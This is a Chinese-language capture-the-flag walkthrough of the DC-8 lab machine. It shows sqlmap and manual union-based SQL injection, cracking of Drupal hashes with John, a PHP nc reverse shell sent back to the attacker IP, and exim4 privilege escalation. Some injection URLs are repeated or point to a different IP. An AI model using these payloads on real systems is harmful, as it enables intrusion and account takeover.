靶机:192.168.56.108

攻击机:192.168.56.1

 

关键字:SQL注入漏洞,John工具,eixm

 

探索靶机

DC-8

DC-8 web主页

DC-8

网页sql注入漏洞

浏览下网页,关注可能出现漏洞的地方

DC-8

像这种?nid=1的地方很容易出现sql注入漏洞,一般就是注入引号测试。这里回显报错,那估计可以注入了。

DC-8

狠一点就直接拿去sqlmap处理

查看所有数据库

sqlmap -u "192.168.56.108/?nid=1" --dbs

这里加一个current-db更好,可以查看当前数据库,好做下一步数据**。但这里就两个数据库,肯定是d7db了,直接用就是。

DC-8

sqlmap -u "192.168.56.108/?nid=1" -D d7db --tables

DC-8DC-8

重点关注users表

sqlmap -u "192.168.56.108/?nid=1" -D d7db -T usrs --columns

DC-8

这里竟然要用字典**方式来搜索表,又耗时又不准确。其实这里并没有什么过滤,我们可以使用union注入来获取数据。

手工注入如下:

我这里已经测试过注入数据类型为数字型

DC-8

爆出users中所有列名

http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

DC-8

 

这里手工注入又快又稳,所以工具有的时候并不是那么好用。(也有可能我没用来)

反正我的经验就是在大多数可以union注入上sqlmap表现并不好。

爆出数据

http://192.168.220.156/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

DC-8

使用John**密码

这里获取了两个用户密码,开头是$S$这种一般是hash加密。

类似常见的加密方式:其中{加密口令}的格式为 $id$salt$encrypted
id为1时,采用md5算法加密
id为5时,采用SHA256算法加密
id为6时,采用SHA512算法加密
salt为盐值,是对密码进行hash的一个干扰值
encrypted为散列值

如存在/etc/shadow中的密码

DC-8

对于这类密码,可以使用john工具**,这个工具的大概原理就是先判断加密方式,然后使用字典通过相同的加密方式后与要**的字符串对比,比对成功则获取到正确密码。这个方式很考验字典的效率。对于弱密码这种方式的**效率还是很高的。我就把自己的root密码给**出来了。

DC-8

使用默认字典**

DC-8

查看结果

DC-8

这里只**出来一个用户,john:turtle

登录网站后台

获取到用户密码了向试试ssh能不能连接上

DC-8

似乎并不允许,那我们只有用这个帐号登录后台页面试试

向**下后台页面,我的dirb这次没有连接错误了,但是变得和dirbbuster一样慢了。

DC-8

打开admin页面没有权限

DC-8

打开user页面,这里可以登录帐号。网上看到大佬说drupal的默认后台页面就是user,我们不知道的就只有**出来了。

DC-8

成功登录

DC-8

获取shell

后台页面有个修改页面的功能,我们然靶机反弹一个shell出来

<?php system(' nc 192.168.56.1 9999 -e /bin/bash ');?>

DC-8

这个页面对应网站的功能应该为contack us,我们只需要启动这个功能应该就能**我们的php脚本。在网站的contack us模块下我们简单提交一下

DC-8

在kali上接收这个shell,顺便就把shell外壳换了

DC-8

提权

以下都是老规矩了

DC-8

DC-8

sudo失败后,我们关注以下其它命令。

发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限。
查看exim版本,命令:/usr/sbin/exim4 --version

DC-8

这种命令或者说是程序容易出现提权漏洞,我们搜索下漏洞库。

DC-8

可能有点严格,我们把4去掉

DC-8

突然多一大堆,这里找到最合适的

把漏洞拷贝下来,这里有个很好用的参数-m,可以把漏洞直接copy到当前目录

DC-8

这个文件有两种利用方式,但是我们要先上传到目标服务器上

DC-8

为了上传文件,先搭建一个临时服务器,使用python可以快速完成这项工作

python -m http.server 8000

DC-8

在浏览器上打开验证一波

DC-8

使用wget命令就可以把文件从kali上下载到靶机上了,按照提权脚本要求我这里是切换到tmp目录下操作的

DC-8

接下来按照提示输入明命就可以了。

执行脚本时显示权限不够

DC-8

加权限

DC-8

再次执行还是报错

DC-8

主要原因是test.sh是在windows下编辑然后上传到linux系统里执行的。.sh文件的格式为dos格式。而linux只能执行格式为unix格式的脚本。

在vim中修改即可

更多关于这方面的问题可以参考大佬的博客

shell脚本报错:-bash: xxx: /bin/bash^M: bad interpreter: No such file or directory

DC-8

使用setuid方法获取到一个shell,但并不是root权限

DC-8

试一下方法2,可以提升到root权限,但不太稳定,看到有个解决方案是在root权限时再反弹一个shell,似乎也没有用

不知道大佬们有没有方法解决。

DC-8

获取flag

虽然权限不稳定,但还是可以获取到flag的

DC-8

 

相关文章:

  • 2021-06-15
  • 2022-12-23
  • 2021-12-18
  • 2022-03-08
  • 2021-06-09
  • 2022-12-23
  • 2021-10-03
  • 2021-07-09
猜你喜欢
  • 2021-10-24
  • 2021-07-04
  • 2021-09-10
  • 2021-06-26
  • 2022-12-23
  • 2021-07-11
  • 2021-05-17
相关资源
相似解决方案